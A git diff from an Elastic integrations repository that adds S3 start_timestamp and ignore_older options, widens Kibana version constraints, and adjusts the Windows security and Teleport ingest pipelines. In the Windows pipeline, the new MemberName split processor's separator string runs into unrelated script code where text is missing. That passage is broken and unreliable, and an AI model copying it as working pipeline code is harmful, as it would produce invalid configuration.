3978b9354de..667119aca05 100644 --- a/packages/sublime_security/data_stream/email_message/agent/stream/aws-s3.yml.hbs +++ b/packages/sublime_security/data_stream/email_message/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/sublime_security/data_stream/email_message/manifest.yml b/packages/sublime_security/data_stream/email_message/manifest.yml index 54d53034931..87941fe3b98 100644 --- a/packages/sublime_security/data_stream/email_message/manifest.yml +++ b/packages/sublime_security/data_stream/email_message/manifest.yml @@ -44,6 +44,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: queue_url type: text title: '[SQS] Queue URL' diff --git a/packages/sublime_security/data_stream/message_event/agent/stream/aws-s3.yml.hbs b/packages/sublime_security/data_stream/message_event/agent/stream/aws-s3.yml.hbs index 8c001d18ce5..09b6d9aa716 100644 --- a/packages/sublime_security/data_stream/message_event/agent/stream/aws-s3.yml.hbs +++ b/packages/sublime_security/data_stream/message_event/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/sublime_security/data_stream/message_event/manifest.yml b/packages/sublime_security/data_stream/message_event/manifest.yml index 98be176e355..311732fca12 100644 --- a/packages/sublime_security/data_stream/message_event/manifest.yml +++ b/packages/sublime_security/data_stream/message_event/manifest.yml @@ -123,6 +123,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: queue_url type: text title: '[SQS] Queue URL' diff --git a/packages/sublime_security/manifest.yml b/packages/sublime_security/manifest.yml index 0e1c2df58dd..aa2ee181a35 100644 --- a/packages/sublime_security/manifest.yml +++ b/packages/sublime_security/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: sublime_security title: Sublime Security -version: 1.5.2 +version: "1.7.0" description: Collect logs from Sublime Security with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - email_security conditions: kibana: - version: '^8.16.2' + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/symantec_endpoint/changelog.yml b/packages/symantec_endpoint/changelog.yml index 044a6d1a038..b5c265571e2 100644 --- a/packages/symantec_endpoint/changelog.yml +++ b/packages/symantec_endpoint/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "2.19.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "2.18.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/symantec_endpoint/manifest.yml b/packages/symantec_endpoint/manifest.yml index a280ca68ace..4fcab7f049b 100644 --- a/packages/symantec_endpoint/manifest.yml +++ b/packages/symantec_endpoint/manifest.yml @@ -1,13 +1,13 @@ name: symantec_endpoint title: Symantec Endpoint Protection -version: "2.18.1" +version: "2.19.0" description: Collect logs from Symantec Endpoint Protection with Elastic Agent. type: integration format_version: "3.0.3" categories: ["security", "edr_xdr"] conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/logo.svg title: Symantec diff --git a/packages/symantec_endpoint_security/changelog.yml b/packages/symantec_endpoint_security/changelog.yml index 5ef1883e793..1b1ed9e75b7 100644 --- a/packages/symantec_endpoint_security/changelog.yml +++ b/packages/symantec_endpoint_security/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.9.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.8.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.7.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/symantec_endpoint_security/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/symantec_endpoint_security/data_stream/event/agent/stream/aws-s3.yml.hbs index d6b7f6cdbab..e34f503839a 100644 --- a/packages/symantec_endpoint_security/data_stream/event/agent/stream/aws-s3.yml.hbs +++ b/packages/symantec_endpoint_security/data_stream/event/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/symantec_endpoint_security/data_stream/event/manifest.yml b/packages/symantec_endpoint_security/data_stream/event/manifest.yml index d16ce6fcce6..8ea2e8a77a8 100644 --- a/packages/symantec_endpoint_security/data_stream/event/manifest.yml +++ b/packages/symantec_endpoint_security/data_stream/event/manifest.yml @@ -126,6 +126,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/symantec_endpoint_security/manifest.yml b/packages/symantec_endpoint_security/manifest.yml index aba457afea4..48d9a19594c 100644 --- a/packages/symantec_endpoint_security/manifest.yml +++ b/packages/symantec_endpoint_security/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: symantec_endpoint_security title: Symantec Endpoint Security -version: "1.7.1" +version: "1.9.0" description: Collect logs from Symantec Endpoint Security with Elastic Agent. type: integration categories: @@ -9,7 +9,7 @@ categories: - edr_xdr conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/sysdig/changelog.yml b/packages/sysdig/changelog.yml index 0136790db51..9d3c959f04c 100644 --- a/packages/sysdig/changelog.yml +++ b/packages/sysdig/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.2.2" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/sysdig/manifest.yml b/packages/sysdig/manifest.yml index 366c41b8d6a..67e70983add 100644 --- a/packages/sysdig/manifest.yml +++ b/packages/sysdig/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: sysdig title: "Sysdig" -version: 0.2.2 +version: "0.3.0" description: "Collect alerts from Sysdig using Elastic Agent." type: integration categories: @@ -11,7 +11,7 @@ categories: - security conditions: kibana: - version: "^8.14.1" + version: "^8.14.1 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/system/changelog.yml b/packages/system/changelog.yml index 0a22af1df0d..44488a4ce80 100644 --- a/packages/system/changelog.yml +++ b/packages/system/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.67.0" + changes: + - description: Port changes from beats pipelines for the security data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/12889 - version: "1.66.1" changes: - description: For Windows security event logs, enrich group membership related events with an audit category and subcategory. diff --git a/packages/system/data_stream/security/elasticsearch/ingest_pipeline/default.yml b/packages/system/data_stream/security/elasticsearch/ingest_pipeline/default.yml index 8dacda409b1..030aa7078c3 100644 --- a/packages/system/data_stream/security/elasticsearch/ingest_pipeline/default.yml +++ b/packages/system/data_stream/security/elasticsearch/ingest_pipeline/default.yml @@ -7,7 +7,7 @@ processors: ignore_missing: true - pipeline: name: '{{ IngestPipeline "standard" }}' - if: 'ctx?.winlog?.provider_name != null && ["Microsoft-Windows-Eventlog", "Microsoft-Windows-Security-Auditing"].contains(ctx.winlog.provider_name)' + if: 'ctx.winlog?.provider_name != null && ["Microsoft-Windows-Eventlog", "Microsoft-Windows-Security-Auditing"].contains(ctx.winlog.provider_name)' - gsub: field: source.ip pattern: '^\[?::ffff:([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)(?:\](?::[0-9]+)?)?$' @@ -38,7 +38,7 @@ processors: value: '{{source.ip}}' allow_duplicates: false if: |- - ctx?.source?.ip != null && + ctx.source?.ip != null && ctx.source.ip != "-" - convert: field: winlog.record_id @@ -56,7 +56,7 @@ processors: copy_from: winlog.level ignore_empty_value: true ignore_failure: true - if: ctx?.winlog?.level != "" + if: ctx.winlog?.level != "" - date: field: winlog.time_created tag: "time_created_date" diff --git a/packages/system/data_stream/security/elasticsearch/ingest_pipeline/standard.yml b/packages/system/data_stream/security/elasticsearch/ingest_pipeline/standard.yml index 7d407cf6818..b2a541ae53b 100644 --- a/packages/system/data_stream/security/elasticsearch/ingest_pipeline/standard.yml +++ b/packages/system/data_stream/security/elasticsearch/ingest_pipeline/standard.yml @@ -759,34 +759,6 @@ processors: - admin - change action: directory-service-object-modified - "5379": - category: - - iam - type: - - user - - info - action: credential-manager-credentials-were-read - "5380": - category: - - iam - type: - - user - - info - action: vault-credential-find - "5381": - category: - - iam - type: - - user - - info - action: vault-credentials-were-read - "5382": - category: - - iam - type: - - user - - info - action: vault-credentials-were-read "5140": category: - network @@ -833,6 +805,34 @@ processors: type: - info action: windows-firewall-bind-local-port + "5379": + category: + - iam + type: + - user + - info + action: credential-manager-credentials-were-read + "5380": + category: + - iam + type: + - user + - info + action: vault-credential-find + "5381": + category: + - iam + type: + - user + - info + action: vault-credentials-were-read + "5382": + category: + - iam + type: + - user + - info + action: vault-credentials-were-read source: |- if (ctx.event?.code == null || params.get(ctx.event.code) == null) { return; @@ -849,8 +849,8 @@ processors: ignore_failure: false tag: Set Logon Type description: Set Logon Type -# Logon Types -# https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events + # Logon Types + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events params: "2": Interactive "3": Network @@ -939,9 +939,9 @@ processors: ignore_failure: false tag: Set Kerberos Ticket Options description: Set Kerberos Ticket Options -# Kerberos TGT and TGS Ticket Options -# https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 -# https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4769 + # Kerberos TGT and TGS Ticket Options + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768 + # https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4769 params: "0x40000000": Forwardable "0x20000000": Forwarded @@ -1110,8 +1110,6 @@ processors: ignore_failure: false tag: Set Audit Information description: Set Audit Information - # Audit Categories Description - # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpac/77878370-0712-47cd-997d-b07053429f6d params: "0CCE9210-69AE-11D9-BED3-505054503030": ["Security State Change", "System"] "0CCE9211-69AE-11D9-BED3-505054503030": ["Security System Extension", "System"] @@ -2923,7 +2921,7 @@ processors: ctx.winlog.event_data.put("LayerNameDescription", params.descriptions[code]); } } - if (ctx?.winlog?.event_data?.AccessMask != null) { + if (ctx.winlog?.event_data?.AccessMask != null) { ArrayList list = new ArrayList(); long accessMask; for (elem in split(ctx.winlog.event_data.AccessMask)) { @@ -3252,6 +3250,14 @@ processors: ctx.user.target.put("domain", ctx.winlog.event_data.TargetDomainName); } } + # split member name into parts based on comma ignoring escaped commas + # https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names + - split: + if: ctx.winlog?.event_data?.MemberName != null + field: winlog.event_data.MemberName + target_field: _temp.MemberNameParts + separator: "(?= 6 ) { hm.put("grantee", translateSID(aceArray[5], params)); } @@ -4155,7 +4160,7 @@ processors: hm.put("perms", al); } } - return hm; + return hm; } String translateSID(def sid, def params) { if (!params.AccountSIDDescription.containsKey(sid)) { @@ -4171,8 +4176,7 @@ processors: } return params.AccountSIDDescription[sid]; } - - + void enrichSDDL(def sddlStr, def Sd, def params, def ctx) { Pattern sdOwnerPattern = /^O\:[A-Z]{2}/; Matcher sdOwnerMatcher = sdOwnerPattern.matcher(sddlStr); @@ -4263,7 +4267,7 @@ processors: if (ctx.winlog?.event_data?.SidList != null) { splitSidList(ctx.winlog.event_data.SidList, params, ctx); } - + # # Populate network.transport from network.iana_number. # @@ -4309,7 +4313,7 @@ processors: ctx.event?.code != null && ["5140", "5145"].contains(ctx.event.code) && ctx.winlog?.event_data?.RelativeTargetName != null && - ctx.winlog?.event_data?.RelativeTargetName != "" + ctx.winlog.event_data.RelativeTargetName != "" - set: field: file.directory copy_from: winlog.event_data.ShareLocalPath @@ -4317,7 +4321,7 @@ processors: ctx.event?.code != null && ["5140", "5145"].contains(ctx.event.code) && ctx.winlog?.event_data?.ShareLocalPath != null && - ctx.winlog?.event_data?.ShareLocalPath != "" + ctx.winlog.event_data.ShareLocalPath != "" - set: field: file.path value: "{{file.directory}}\\{{file.name}}" @@ -4329,7 +4333,7 @@ processors: ctx.event?.code != null && ["5140", "5145"].contains(ctx.event.code) && ctx.winlog?.event_data?.ShareLocalPath != null && - ctx.winlog?.event_data?.ShareLocalPath != "" + ctx.winlog.event_data.ShareLocalPath != "" - set: field: file.target_path value: "{{winlog.event_data.ShareName}}\\{{file.name}}" @@ -4337,7 +4341,7 @@ processors: ctx.event?.code != null && ["5140", "5145"].contains(ctx.event.code) && ctx.winlog?.event_data?.ShareName != null && - ctx.winlog?.event_data?.ShareName != "" && + ctx.winlog.event_data.ShareName != "" && ctx.file?.name != null - script: description: Adds file information. @@ -4358,6 +4362,10 @@ processors: - community_id: ignore_missing: true ignore_failure: true + - remove: + field: + - _temp + ignore_missing: true on_failure: - set: diff --git a/packages/system/data_stream/security/manifest.yml b/packages/system/data_stream/security/manifest.yml index ad1d98f3659..2be0a3ba0b9 100644 --- a/packages/system/data_stream/security/manifest.yml +++ b/packages/system/data_stream/security/manifest.yml @@ -1,5 +1,14 @@ type: logs title: Security logs +elasticsearch: + index_template: + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog template_path: winlog.yml.hbs diff --git a/packages/system/manifest.yml b/packages/system/manifest.yml index 9f00eee86f1..c0f98bbff21 100644 --- a/packages/system/manifest.yml +++ b/packages/system/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.2 name: system title: System -version: "1.66.1" +version: "1.67.0" description: Collect system logs and metrics from your servers with Elastic Agent. type: integration categories: diff --git a/packages/tanium/changelog.yml b/packages/tanium/changelog.yml index 76fdd8c6d5a..d53e5c00565 100644 --- a/packages/tanium/changelog.yml +++ b/packages/tanium/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.16.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.15.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.14.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/tanium/data_stream/action_history/agent/stream/aws-s3.yml.hbs b/packages/tanium/data_stream/action_history/agent/stream/aws-s3.yml.hbs index eb355709097..e4d2dab6226 100644 --- a/packages/tanium/data_stream/action_history/agent/stream/aws-s3.yml.hbs +++ b/packages/tanium/data_stream/action_history/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/tanium/data_stream/action_history/manifest.yml b/packages/tanium/data_stream/action_history/manifest.yml index 46c4b292844..bc26f620ddc 100644 --- a/packages/tanium/data_stream/action_history/manifest.yml +++ b/packages/tanium/data_stream/action_history/manifest.yml @@ -30,6 +30,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/tanium/data_stream/client_status/agent/stream/aws-s3.yml.hbs b/packages/tanium/data_stream/client_status/agent/stream/aws-s3.yml.hbs index eb355709097..e4d2dab6226 100644 --- a/packages/tanium/data_stream/client_status/agent/stream/aws-s3.yml.hbs +++ b/packages/tanium/data_stream/client_status/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/tanium/data_stream/client_status/manifest.yml b/packages/tanium/data_stream/client_status/manifest.yml index ae997aa5866..6f0f799481a 100644 --- a/packages/tanium/data_stream/client_status/manifest.yml +++ b/packages/tanium/data_stream/client_status/manifest.yml @@ -85,6 +85,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/tanium/data_stream/discover/agent/stream/aws-s3.yml.hbs b/packages/tanium/data_stream/discover/agent/stream/aws-s3.yml.hbs index eb355709097..e4d2dab6226 100644 --- a/packages/tanium/data_stream/discover/agent/stream/aws-s3.yml.hbs +++ b/packages/tanium/data_stream/discover/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/tanium/data_stream/discover/manifest.yml b/packages/tanium/data_stream/discover/manifest.yml index 7c55cec0ce9..e8e732f8b05 100644 --- a/packages/tanium/data_stream/discover/manifest.yml +++ b/packages/tanium/data_stream/discover/manifest.yml @@ -30,6 +30,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/tanium/data_stream/endpoint_config/agent/stream/aws-s3.yml.hbs b/packages/tanium/data_stream/endpoint_config/agent/stream/aws-s3.yml.hbs index 0f374456817..141bd8c7d06 100644 --- a/packages/tanium/data_stream/endpoint_config/agent/stream/aws-s3.yml.hbs +++ b/packages/tanium/data_stream/endpoint_config/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/tanium/data_stream/endpoint_config/manifest.yml b/packages/tanium/data_stream/endpoint_config/manifest.yml index a76c23e4358..b5627104f74 100644 --- a/packages/tanium/data_stream/endpoint_config/manifest.yml +++ b/packages/tanium/data_stream/endpoint_config/manifest.yml @@ -30,6 +30,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/tanium/data_stream/reporting/agent/stream/aws-s3.yml.hbs b/packages/tanium/data_stream/reporting/agent/stream/aws-s3.yml.hbs index eb355709097..e4d2dab6226 100644 --- a/packages/tanium/data_stream/reporting/agent/stream/aws-s3.yml.hbs +++ b/packages/tanium/data_stream/reporting/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/tanium/data_stream/reporting/manifest.yml b/packages/tanium/data_stream/reporting/manifest.yml index d593416615a..fd099b3c9a1 100644 --- a/packages/tanium/data_stream/reporting/manifest.yml +++ b/packages/tanium/data_stream/reporting/manifest.yml @@ -85,6 +85,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/tanium/data_stream/threat_response/agent/stream/aws-s3.yml.hbs b/packages/tanium/data_stream/threat_response/agent/stream/aws-s3.yml.hbs index eb355709097..e4d2dab6226 100644 --- a/packages/tanium/data_stream/threat_response/agent/stream/aws-s3.yml.hbs +++ b/packages/tanium/data_stream/threat_response/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/tanium/data_stream/threat_response/manifest.yml b/packages/tanium/data_stream/threat_response/manifest.yml index 599bb72cdef..a9ff1e9146d 100644 --- a/packages/tanium/data_stream/threat_response/manifest.yml +++ b/packages/tanium/data_stream/threat_response/manifest.yml @@ -30,6 +30,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/tanium/manifest.yml b/packages/tanium/manifest.yml index 1c74d313c51..74101811427 100644 --- a/packages/tanium/manifest.yml +++ b/packages/tanium/manifest.yml @@ -1,14 +1,14 @@ format_version: "3.0.3" name: tanium title: Tanium -version: "1.14.1" +version: "1.16.0" description: This Elastic integration collects logs from Tanium with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/teleport/changelog.yml b/packages/teleport/changelog.yml index e25530262ea..2d1a895fa4c 100644 --- a/packages/teleport/changelog.yml +++ b/packages/teleport/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 +- version: "1.2.2" + changes: + - description: Update event-groups pipeline to take into account of whether cloud fields were already set. + type: bugfix + link: https://github.com/elastic/integrations/pull/12851 - version: "1.2.1" changes: - description: Update links to getting started docs diff --git a/packages/teleport/data_stream/audit/_dev/test/system/test-filestream-config.yml b/packages/teleport/data_stream/audit/_dev/test/system/test-filestream-config.yml index f36cf09624a..0f10a5059cc 100644 --- a/packages/teleport/data_stream/audit/_dev/test/system/test-filestream-config.yml +++ b/packages/teleport/data_stream/audit/_dev/test/system/test-filestream-config.yml @@ -11,3 +11,5 @@ numeric_keyword_fields: - log.file.idxhi - log.file.idxlo - log.file.vol +assert: + hit_count: 270 diff --git a/packages/teleport/data_stream/audit/elasticsearch/ingest_pipeline/event-groups.yml b/packages/teleport/data_stream/audit/elasticsearch/ingest_pipeline/event-groups.yml index c595b7a8369..2ae894c90ec 100644 --- a/packages/teleport/data_stream/audit/elasticsearch/ingest_pipeline/event-groups.yml +++ b/packages/teleport/data_stream/audit/elasticsearch/ingest_pipeline/event-groups.yml @@ -872,14 +872,26 @@ processors: field: teleport.audit.aws_region target_field: cloud.region ignore_missing: true + if: ctx.cloud?.region == null + - remove: + field: teleport.audit.aws_region + ignore_missing: true - rename: field: teleport.audit.aws_service target_field: cloud.service.name ignore_missing: true + if: ctx.cloud?.service?.name == null + - remove: + field: teleport.audit.aws_service + ignore_missing: true - rename: field: teleport.audit.aws_host target_field: cloud.instance.id ignore_missing: true + if: ctx.cloud?.instance?.id == null + - remove: + field: teleport.audit.aws_host + ignore_missing: true - rename: field: teleport.audit.aws_assumed_role target_field: teleport.audit.app.aws.assumed_role @@ -948,6 +960,10 @@ processors: field: teleport.audit.db_aws_region target_field: cloud.region ignore_missing: true + if: ctx.cloud?.region == null + - remove: + field: teleport.audit.db_aws_region + ignore_missing: true - set: field: cloud.provider value: aws @@ -968,6 +984,10 @@ processors: field: teleport.audit.db_gcp_instance_id target_field: cloud.instance.id ignore_missing: true + if: ctx.cloud?.instance?.id == null + - remove: + field: teleport.audit.db_gcp_instance_id + ignore_missing: true - rename: field: teleport.audit.db_roles target_field: teleport.audit.database.roles @@ -1407,6 +1427,10 @@ processors: field: teleport.audit.instance_id target_field: cloud.instance.id ignore_missing: true + if: 